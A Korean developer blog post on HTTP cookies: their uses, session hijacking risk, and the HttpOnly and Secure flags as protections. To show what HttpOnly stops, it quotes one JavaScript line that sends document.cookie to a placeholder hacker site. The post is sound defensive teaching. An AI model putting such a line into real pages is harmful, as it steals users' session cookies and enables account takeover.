쿠키 사용 목적
- 세션 관리
- 서버에 저장해야할 로그인, 장바구니, 게임 스코어 등의 정보 관리
- 개인화
- 사용자 선호, 테마 등의 정보
- 트래킹
- 사용자 행동을 기록하고 분석
사전 지식
- 어떠한 서버도 HTTP 통신을 한다면 쿠키를 주고 받을 수 있다.
- 클라이언트에서도 쿠키에 접근하고 관리할 수 있다.
- HTTP와 HTTPS 사이에도 쿠키를 교환할 수 있다.
- 같은 도메인이라면 서로 다른 Scheme일지라도 쿠키를 공유할 수 있다.
- 쿠키는 서버든 클라이언트든 생성할 수 있다.
- 쿠키가 생성되면 브라우저는 해당 쿠키 정보를 저장한다.
- 생성 이후 발생하는 모든 Request에 쿠키를 포함하여 서버에 전달한다.
보안 위협
- 수많은 사이트에서 민감한 개인정보를 쿠키에 저장하고 있다.
- 해커들은 다양한 방법으로 이 쿠키를 탈취하려고 한다.
- 세션 하이재킹(Session hijacking) 공격
- HTTP는 Stateless 프로토콜이기 때문에 기본적으로 상태 정보를 저장하지 않는다.
- 요청자가 누구인지, 같은 사람이었는지를 식별할 수 없다.
- 식별을 위한 데이터 저장 용도로 쿠키를 사용
- 식별 정보가 포함된 쿠키를 해커가 탈취하면 해당 사용자로 위장할 수가 있다.
보안 강화 방법
HTTP Only Cookies
- 브라우저에서 쿠키에 접근할 수 없도록 제한한다.
- 이를 통해 아래와 같이 자바스크립트로 쿠키를 가로채려하는 시도를 막을 수있다.
- location.href = '<http://해커사이트/?cookies=>' + document.cookie;
- 아래와 같이 Set-Cookie 헤더에 HttpOnly를 추가하여 적용할 수 있다.
- Set-Cookie: 쿠키명=쿠키값; path=/; HttpOnly
Secure Cookies
- HTTP Only Cookie로 Javascript의 쿠키 탈취는 막을 수 있지만 네트워크 트래픽에서 쿠키를 가로채는 것까지는 막지 못한다.
- 통신상의 유출을 막기 위해 HTTPS 프로토콜을 사용하여 데이터를 암호화하는 방법이 주로 사용된다.
- HTTPS 사용 시 쿠키까지 암호화되어 전송되기 때문에 제3자는 내용을 알 수 없다.
- 실수로 HTTP를 통해 통신을 하는 경우 쿠키를 탈취당할 수 있는데 이를 방지하기 위해 쿠키 생성 시 secure 접미사를 붙이면 HTTPS가 아닌 경우 쿠키를 전송하지 않는다.
- Set-Cookie: 쿠키명=쿠키값; path=/; secure
참고
'Work > 개발 노트' 카테고리의 다른 글
[Flutter] Drawer 위젯 만들어보기 (1) | 2020.09.11 |
---|---|
[WEB] certbot으로 Let's Encrypt 인증서 발급 받기 (1) | 2020.09.07 |
[WEB] 토큰 기반 인증 (2) | 2020.09.04 |
[LDAP] 개념 잡기 (3) | 2020.09.04 |
[파이썬] 모듈 사용하기 (0) | 2020.09.03 |
댓글